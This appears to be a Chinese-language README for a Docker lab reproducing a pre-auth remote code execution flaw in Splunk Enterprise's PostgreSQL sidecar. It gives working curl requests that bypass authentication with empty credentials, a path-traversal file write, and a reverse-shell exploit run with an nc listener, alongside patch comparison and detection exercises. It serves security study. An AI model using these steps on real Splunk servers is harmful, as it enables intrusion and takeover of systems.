Splunk Enterprise 通过 PostgreSQL Sidecar 服务实现预认证 RCE
| CVE | CVE-2026-20253 |
| CVSS | 9.8 (严重) |
| 类型 | 未认证远程代码执行 |
| CWE | CWE-306: 关键功能缺少身份验证 |
| 产品 | Splunk Enterprise 10.0.x / 10.2.x |
免责声明:本实验环境仅用于授权的安全研究、教育和渗透测试。请勿对您不拥有或未获得明确授权测试的系统使用。
┌──────────────────────────────────────────────────────┐
│ Docker 网络: cve-lab │
│ 子网: 172.20.0.0/24 │
│ │
│ ┌─────────────────────┐ ┌──────────────────────┐ │
│ │ splunk-vulnerable │ │ attacker │ │
│ │ 172.20.0.10 │ │ 172.20.0.50 │ │
│ │ │ │ │ │
│ │ Splunk 10.2.3 │ │ Python 3.11 │ │
│ │ 端口 8000 (Web) │ │ nmap, netcat │ │
│ │ 端口 8089 (API) │ │ postgresql-client │ │
│ │ 端口 8088 (HEC) │ │ tcpdump │ │
│ └─────────────────────┘ └──────────────────────┘ │
│ │
│ ┌─────────────────────┐ (可选, profile: patched) │
│ │ splunk-patched │ │
│ │ 172.20.0.11 │ │
│ │ Splunk 10.2.4 │ │
│ │ 端口 8001 (Web) │ │
│ └─────────────────────┘ │
└──────────────────────────────────────────────────────┘
# 启动 Splunk 漏洞版本 + 攻击者
docker-compose up -d
# 等待 Splunk 初始化(约 2-3 分钟)
docker-compose logs -f splunk-vulnerable
# 查找: "Ansible playbook complete, will begin polling for Splunk On..."
# 然后: "Splunk is ready"
admin / ChangeMeNow!# 从宿主机运行
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k
# 或进入攻击者容器
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k
# 进入攻击者容器
docker exec -it attacker bash
# 检查漏洞
python poc.py -t http://172.20.0.10:8000 --check -k
# 完整 RCE 漏洞利用(先在另一个终端启动监听器)
# 终端 1 - 监听器:
docker exec -it attacker nc -lvnp 4444
# 终端 2 - 漏洞利用:
docker exec -it attacker python poc.py \
-t http://172.20.0.10:8000 \
--rce \
--lhost 172.20.0.50 \
--lport 4444 \
-k
docker-compose --profile patched up -d splunk-patched
# 针对已修补实例进行测试(应返回 NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k
目标: 识别 PostgreSQL sidecar 端点并验证认证绕过。
# 扫描 Splunk 端口
nmap -sV 172.20.0.10 -p 8000,8089,8088
# 使用 curl 手动探测 sidecar 端点
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"
问题:
Authorization: Basic Og== 解码后是什么?目标: 演示在 Splunk 服务器上创建任意文件。
# 通过 backup 端点创建测试文件
curl -k -X POST -u ":" \
"http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"
# 验证文件已创建
docker exec splunk-vulnerable ls -la /tmp/pwned
目标: 在 Splunk 服务器上实现代码执行。
--rce 标志运行 PoC 漏洞利用whoami、id、ls /opt/splunk/etc/)目标: 了解漏洞版本与已修补版本之间的变化。
# 同时启动漏洞版本和已修补版本
docker-compose --profile patched up -d
# 对比响应
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health" # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health" # 401
# 对比相关的 Splunk 配置/代码
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
目标: 为此漏洞创建检测规则。
index=_internal 中搜索攻击痕迹report/ANALYSIS.md 第 6 节)CVE-2026-20253/
├── README.md # 本文件
├── docker-compose.yml # 实验环境定义
├── attacker/
│ ├── Dockerfile # 攻击者容器构建
│ └── requirements.txt # Python 依赖
├── exploit/
│ ├── checker.py # 漏洞检查脚本
│ ├── poc.py # PoC 漏洞利用(认证绕过 → 文件写入 → RCE)
│ └── requirements.txt # Python 依赖
└── report/
└── ANALYSIS.md # 根本原因分析与完整报告
docker-compose logs splunk-vulnerable
# 常见修复方法: 将 Docker 内存增加到 8GB+
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10
# 停止并移除所有容器
docker-compose --profile patched down
# 移除卷(删除所有 Splunk 数据)
docker-compose --profile patched down -v
# 移除 Docker 镜像
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4